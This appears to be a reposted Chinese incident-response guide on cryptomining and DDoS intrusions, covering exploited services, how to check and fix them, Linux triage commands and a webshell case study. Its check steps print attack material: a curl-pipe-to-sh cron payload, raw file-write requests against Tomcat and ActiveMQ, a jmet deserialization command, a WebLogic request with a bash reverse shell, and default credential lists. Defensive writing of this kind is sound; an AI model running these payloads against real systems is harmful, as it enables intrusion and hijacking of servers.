前言从去年六月份到现在做的应急响应、事件分析大大小小的做了数百个,主要遇到的有挖矿、DDoS、短信接口盗刷、用户接口泄漏、越权信息获取、挂黑页、删数据等。 本文只针对自己做的应急响应中的挖矿和DDoS两类做一下总结及自己的处置方法,帮助运维等相关人员在遇到之后能够快速响应、处置。文章有不足之处欢迎大家指出、补充。
应急事件处理流程是什么?
服务器安全排查 - webshell 查找
- 木马病毒查找和清理
- 恶意进程、网络连接和自启任务等清理
问题事件分析 应用系统安全漏洞排查
攻击者进行挖矿、DDoS利用的漏洞有哪些?
1、未授权访问 未授权访问在我所处置的应急响应事件中所占的比重最大,主要分为以下几种: - redis未授权访问redis未授权访问主要被用来进行挖矿,一般手段是通过redis写入计划任务,基本上都是形如:/bin/sh -c /usr/bin/curl -sL https://lnk0.com/VhscA1|sh,直接进行挖矿、ddos等。排查方法:修复方法:
- 绑定本地访问:bind 127.0.0.1
- 添加认证:requirepass www.secpulse.com
- redis-cli -h host -p port
- memcache未授权访问memcache未授权访问主要被用来进行DDoS,在今年三月份爆发,攻击者利用memcached协议,发送大量带有被害者IP地址的UDP数据包给放大主机,然后放大主机对伪造的IP地址源做出大回应,形成分布式拒绝服务攻击,从而形成DRDoS反射。排查方法:修复方法:
- 设置memchached只允许本地访问
- 禁止外网访问Memcached 11211端口
- 编译时加上–enable-sasl,启用SASL认证
- nc host port
- docker未授权访问docker未授权访问主要被用来进行挖矿,通过挂载宿主机的/etc/、/var/spool/cron/等目录,之后将相关挖矿的脚本、命令等写入到/etc/crontab,/var/spool/cron/crontabs/root中。排查方法:修复方法:
- 在不必需的情况下,不要启用docker的remote api服务
- 在 docker api 服务器前面加一个代理,例如 nginx,设置 401 认证
- curl http://IP:2375/containers/json
- k8s未授权访问k8s未授权访问主要被用来挖矿,API Server 默认会开启两个端口:8080和 6443。其中 8080 端口无需认证,6443 端口需要认证,且有 TLS 保护,直接访问8080端口会返回可用的API列表。访问dashboard 页面,可以创建、修改、删除容器,查看日志等。攻击者利用的流程大体为:创建新的容器 -> 挂载宿主机目录 -> 写 /etc/crontab定时任务进行挖矿。排查方法:修复方法:
- 配置安全组、防火墙等,禁止敏感端口对外开放
- 为管理端添加认证
- curl http://IP:8080/
2、Tomcat Tomcat目前常被利用的有: - Tomcat PUT任意文件写入漏洞(CVE-2017-12615)排查方法:直接发送以下数据包即可在Web根目录写入shell
PUT/test.jsp/HTTP/1.1Host:ip:portAccept:*/*Accept-Language:enUser-Agent:Mozilla/5.0(compatible;MSIE9.0;WindowsNT6.1;Win64;x64;Trident/5.0)Connection:closeContent-Type:application/x-www-form-urlencodedContent-Length:4test
- Tomcat弱口令部署war包getshell排查方法:查看tomcat管理控制台是否存在如下弱口令:
用户名密码 tomcat tomcat admin j5Brn9 admin admin admin tomcat role changethis role1 role1 root root root changethis role1 tomcat both tomcat tomcat changethis 修复方法: - 严禁弱口令,使用数字+字母+特殊字符的十位以上强密码
- 及时升级Tomcat补丁
- 安全组、防火墙等设置访问白名单
3、ActiveMQ ActiveMQ目前常被利用的有: - ActiveMQ反序列化命令执行(CVE-2015-5254)默认开启61616和8161两个端口。其中61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。攻击者利用的流程为:构造可执行命令的序列化对象 -> 作为一个消息,发送给目标61616端口 ->访问web管理页面,读取消息,触发漏洞排查方法:下载jmet的jar文件
java-jarjmet-0.1.0-all.jar-Qevent-IActiveMQ-s-Y"touch/tmp/activemq"-YpROMEIP61616
- 访问:http://ip:8161/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息点击查看这条消息即可触发命令执行
- ActiveMQ fileserver任意文件写入漏洞(CVE-2016-3088)ActiveMQ的web控制台8161端口分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api需要登录后才能使用,fileserver无需登录。目前见到的是直接写入cron挖矿,简单粗暴!排查方法:
PUT/fileserver/test.txtHTTP/1.1Host:ip:8161Accept:*/*Accept-Language:enUser-Agent:Mozilla/5.0(compatible;MSIE9.0;WindowsNT6.1;Win64;x64;Trident/5.0)Connection:closeContent-Length:4test
MOVE/fileserver/text.txtHTTP/1.1Destination:file:///etc/cron.d/rootHost:ip:8161Accept:*/*Accept-Language:enUser-Agent:Mozilla/5.0(compatible;MSIE9.0;WindowsNT6.1;Win64;x64;Trident/5.0)Connection:closeContent-Length:0
修复方法: - 严禁弱口令,使用数字+字母+特殊字符的十位以上强密码
- 及时升级ActiveMQ补丁
- 安全组、防火墙等设置访问白名单
4、爆破 主要是Windows3389、Linux ssh爆破,爆破成功之后直接执行命令进行挖矿、DDoS。 排查方法: 网上搜索自己的密码是否被公开活在黑客字典中 修复方法: - 严禁弱口令,使用数字+字母+特殊字符的十位以上强密码
- 安全组、防火墙等设置白名单访问
5、Struts2 利用Struts2反序列化命令执行,直接执行相关命令。 排查方法: 搜索网上一键扫描struts2漏洞的工具进行检测 修复方法: 6、Java RMI命令执行 RMI服务的默认开放1099端口,且暴露在公网中,并且恰好使用了Apache Commons Collections的缺陷版本,可被直接利用来进行任意命令执行。 排查方法: 使用nmap进行端口扫描
修复方法: - 升级相应缺陷版本
- 安全组、防火墙等设置拒绝RMI端口访问
7、Weblogic 目前见到的主要被利用的是Weblogic wls-wsat XMLDecoder反序列化漏洞(CVE-2017-10271)。 Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
排查方法: 发送如下数据包,注意其中反弹shell的语句,需要进行编码,否则解析XML的时候将出现格式错误: POST/wls-wsat/CoordinatorPortTypeHTTP/1.1Host:IP:7001Accept-Encoding:gzip,deflateAccept:*/*Accept-Language:enUser-Agent:Mozilla/5.0(compatible;MSIE9.0;WindowsNT6.1;Win64;x64;Trident/5.0)Connection:closeContent-Type:text/xmlContent-Length:633/bin/bash-cbash-i>&/dev/tcp/192.168.2.11/80800>&1
修复方法: - 升级weblogic相关补丁到最新版本
- 安全组、防火墙等设置相关敏感端口白名单访问
应急响应快速排查步骤
以Linux为例,以下相关步骤只针对挖矿、DDoS相关安全事件的排查,以便快速、高效解决问题。其他安全事件按照通用事件排查步骤即可。 检查进程及文件 top -c : 快速查看进程信息,并获取进程文件位置 kill -9 PID : 杀死进程 根据恶意进程、文件特征如:文件名、文件大小、文件创建时间进行全盘搜索 grep -rni "shell.name" * : 根据文件名特征查找 find / -size 1223123c : 根据文件大小特征查找 find / -mtime 1 -name * : 根据文件创建时间查找 lsof -p PID:查看进程占用信息 cd /proc/PID : 进入到进程中 cat * |strings -n 5 |more : 读取该进程内存中的信息 检测网络 lsof -i:5000 : 查看5000端口的占用情况 netstat -nap : 查看不正常端口 netstat -an | grep tcp | awk '{print $5}' : 查看TCP连接 netstat -an | grep SYN | awk '{print $5}' | awk -F: '{print $1}' | sort | uniq -c | sort -nr | more : 查看SYN连接 检查计划任务 crontab -u root -l : 查看root用户的计划任务 cat /etc/crontab : 查看/etc/crontab ls -al /etc/cron.* : 查看cron文件是否变化的详细信息 ll /var/spool/cron/ : 查看/var/spool/cron/ 检查系统命令 ls-alt/bin/|head-n10ls-alt/usr/sbin/|head-n10ls-alt/usr/bin/|head-n10
Webshell1、河马 2、自写脚本(推荐,因为可根据情况,自己加特征等) 使用杀毒软件ClamAV 扫描:clamscan-r/usr—max-dir-recursion=5-l/tmp/clamav.log移除:clamscan-r—remove/usr/bin/
rkhunter rkhunter--propupdrkhunter--check
注意事项 1、一定要查看系统命令是否被替换,否则所做的都是一切徒劳。。。 2、若系统替换可用其他代替,如:ps使用top,netstat使用ss等 3、lsof -n |grep delete 查找已经删除但是还在使用的文件 4、留意下是否有SSH后门 5、注意是否存在隐藏进程 6、实在无法删除可使用chattr +i锁定相应计划任务文件 7、实在不行修改把curl ,wget ,lynx 文件全局重命名
附:记一次事件分析详细排查步骤1、事件缘由 客户反馈服务器D盘里面的文件被删除了,要求排查什么原因导致的,什么漏洞引发的。 2、事件分析 前期准备工作:端口扫描、黑盒漏扫、弱口令、是否存在命令执行相关漏洞等,未果,进入服务器排查。 D盾全盘webshell查杀发现恶意文件(中间的一些用户,组,进程,日志排查步骤等我就不说了) webshell名为enshell.aspx 根据该webshell文件名查找日志 定位记录该恶意文件的日志信息,找到攻击者IP 攻击者IP:110.87.13.61 威胁情报来一波 根据IP定位黑客攻击点 定位记录详情 定位漏洞源头 至此,事件分析结束。 3、事件结论 由此可知:黑客先利用/xxx/upload2Server/接口上传了恶意文件,再利用/xxx/checkfileexists/判断文件是否上传成功,最后利用,/xxx/executecmd/执行了该恶意文件。
作者:瓦都剋 转载自:https://www.secpulse.com/archives/98372.html
|